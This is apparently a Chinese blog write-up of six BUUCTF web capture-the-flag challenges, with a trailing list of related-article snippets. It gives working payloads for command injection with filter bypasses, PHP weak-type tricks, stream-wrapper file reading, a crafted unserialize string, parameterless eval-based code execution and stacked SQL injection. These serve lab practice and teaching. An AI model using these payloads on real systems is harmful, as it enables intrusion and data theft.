BUUCTF WEB

  • 几道web做题的记录

[ACTF2020 新生赛]Exec

知识点:exec命令执行

  • 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///))
  • 言归正传,这题其实就是一个exec的命令执行,直接ip & cmd就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /先遍历一下根目录,发现flag,然后直接127.0.0.1 & cat /flag即可

[ACTF2020 新生赛]BackupFile

知识点:PHP弱类型,备份文件

  • 首先提示要去找源码,所以尝试找备份文件/index.php.bak,遂发现源码
<?php
include_once "flag.php"; if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
  • 这里要求首先要设置GET传一个参数key,并且key要是数字,最后判断key == str就返回flag,我们可以发现这里的比较是用的==也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string会被转成int,而且若这里的string是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str会直接被当成123处理,所以我们只要给key赋值为123即可

##[GXYCTF2019]Ping Ping Ping

知识点:命令执行变量拼接,内联执行

  • 这题和第一个类似,都是exec的多语句执行,不过这题的过滤就有点多了
  • 首先还是尝试直接ip之后加上ls查看,发现有index.php flag.php两个文件
  • 在尝试读取flag时发现其中flag还有空格以及/都被过滤,所以尝试读取index.php发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
  • 这里不仅过滤了那三样,还限制不允许使用bash,对于这个我们可以尝试使用sh也可以同样进行操作
  • 对于空格被过滤,我们可以尝试使用$IFS$1或者分号代替
  • 对于flag的过滤,我们可以先对其base64编码后在读取,所以最终课构造payload如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
  • 此外还可以尝试变量拼接读取
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

[ZJCTF 2019]NiZhuanSiWei

知识点: data伪协议,php反序列化,文件包含读取文件内容

  • 直接给出了源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
  • 第一层:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),这里要绕过file_get_contents()函数要使text内容是welcome to the zjctf,在前不久的MRCTF的套娃一题中见到过,需要用data://伪协议绕过
  • 所以text=data://text/plain,welcome to the zjctf
  • 第二层:要使用file读取文件,但是不能直接读取flag.php,这里他给出了useless.php的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter伪协议来读取)
  • 所以file=php://filter/read=convert.base64-encode/resource=useless.php,读取到源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
  • 第三层:$password = unserialize($password);,设置了一个password,涉及到反序列化,我们看到useless.php中的源码显示会直接读取file中内容,所以直接给file赋值flag.php,即可得到最终flag
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 所以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]BuyFlag

知识点:php弱类型,科学记数法

  • 发现提示说要是Cuiter才可以pay,遂查看cookie,发现value0,尝试改为1,提示要输入密码
  • 打开pay.php页面查看源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
  • 发现password这里首先要使其不为数字,而后又要其等于404,并且这里的比较是==,显然是弱类型,所以考虑使用字符串绕过,password=404asd
  • 发现要求设置money,于是考虑money=100000000,却发现提示长度超出,遂考虑使用科学记数法,money=1e10,获得flag

[GXYCTF2019]禁止套娃

知识点:无参数RCE,git源码泄露

  • githack下载源码
    python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git
  • 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
  • 设置要GET一个exp并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数
  • 我们这里首先还是要尝试遍历一下目录,查看一下flag文件的位置
  • 这里并未禁用scandir()函数,所以我们要尝试去构造scandir('.')来遍历一下目录,这里参考了一下网上WP,发现可以使用current(localeconv())函数
  • current()函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'
  • 这样我们就完成第一步,可以查看到目录文件信息
    ?exp=print_r(scandir(current(localeconv())));
  • 发现flag.php文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()函数先将数组倒置,这样flag.php就成了第二个元素,然后再使用next()函数指向首个的下一个,就完成指向flag.php
    ?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
  • 最后就是直接用readfile()函数读取文件内容即可,最终payload如下
    ?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
  • 看网上还有师傅使用array_filp()先交换键值,然后使用array_rand()随机返回元素,读取flag,学到新姿势,记录一下,payload如下
    ?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

[GYCTF2020]Blacklist

handler查询,堆叠注入

  • 和强网杯的那个随便注类似,首先尝试查看表1';show tables;#
  • 看到字段FlagHere,尝试读取其内容,这里用到了一个handler代替select查询,详细内容可以看一下这篇文章
    https://xz.aliyun.com/t/7169#toc-47
  • 大致介绍一下要用到的语句
  • handler FlagHere open as f; 重命名FlagHere数据表为f
  • handler f read first; 读取f的首行字段
  • handler f close; 关闭句柄
  • 所以最终使用堆叠注入构造payload
    1';handler FlagHere open as f;handler f read first;handler f close;#

BUUCTF WEB-WP(3)的更多相关文章

  1. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  2. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  3. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  4. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  5. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  6. ISCC的 Web——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...

  7. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  8. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  9. buuctf—web—高明的黑客

    打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...

  10. buuctf—web—Easy Calc

    启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery,     ("# ...

随机推荐

  1. 图论-欧拉图-欧拉回路-Euler-Fluery-Hierholzer-逐步插入回路法-DFS详解-并查集

    欧拉图性质: 1.无向连通图G是欧拉图,当且仅当G不含奇数度结点(G的所有结点度数为偶数): 2.无向连通图G含有欧拉通路,当且仅当G有零个或两个奇数度的结点: 3.有向连通图D是欧拉图,当且仅当该图 ...

  2. 配置Ansible加速

    下载安装包 wget https://files.pythonhosted.org/packages/source/m/mitogen/mitogen-0.2.7.tar.gz tar axf mit ...

  3. spring内嵌jetty容器,实现main方法启动web项目

    Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境.Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布.开发人员可以将 ...

  4. 简单服务发现协议(SSDP)编程指导

    本文主要讲解如何使用ssdp进行编程,不涉及过多关于ssdp的理论知识 1. 前言   网上对ssdp理论介绍的一大把,缺乏从编程角度的一个指导,这里不会长篇大论ssdp理论,只是根据实际编码经验对用 ...

  5. Mac 安装实用开发软件和日常软件清单

    软件安装 开发需要安装软件 HomeBrew 这个是 mac 的软件包管理软件,类似于 yum 安装 rpm 包会帮我们处理软件包之间的依赖关系一样,或者 apt-get 安装 deb 包,最开始接触 ...

  6. angular foreach的使用

    var myAppModule = angular.module('myApp', []); var values = { name : 'misko', gender : 'male', " ...

  7. Docker学习笔记(二):端口映射与容器互联

    端口映射 使用docker run时,可以指定-P(大写)与-p(小写)参数映射端口. docker run -P -P(大写)会随机映射一个端口到容器的内部端口 -> [feifei@ffma ...

  8. 基于Redis的Nginx服务器集群session共享

    原料:jdk1.8,tomcat7,nginx1.16,Redis3.2.100,Redis-Tomcat需要的jar包,基于windows7. Redis3.2.100与Redis-Tomcat需要 ...

  9. Azure AD B2C(一)初识

    一,引言(上节回顾) 上一节讲到Azure AD的一些基础概念,以及如何运用 Azure AD 包含API资源,Azure AD 是微软提供的云端的身份标识和资源访问服务,帮助员工/用户/管理员访问一 ...

  10. 「雕爷学编程」Arduino动手做(21)——激光开关模块

    37款传感器与模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器和模块,依照实践出真知(一定要动手做)的理念,以学习和交流为目的,这里 ...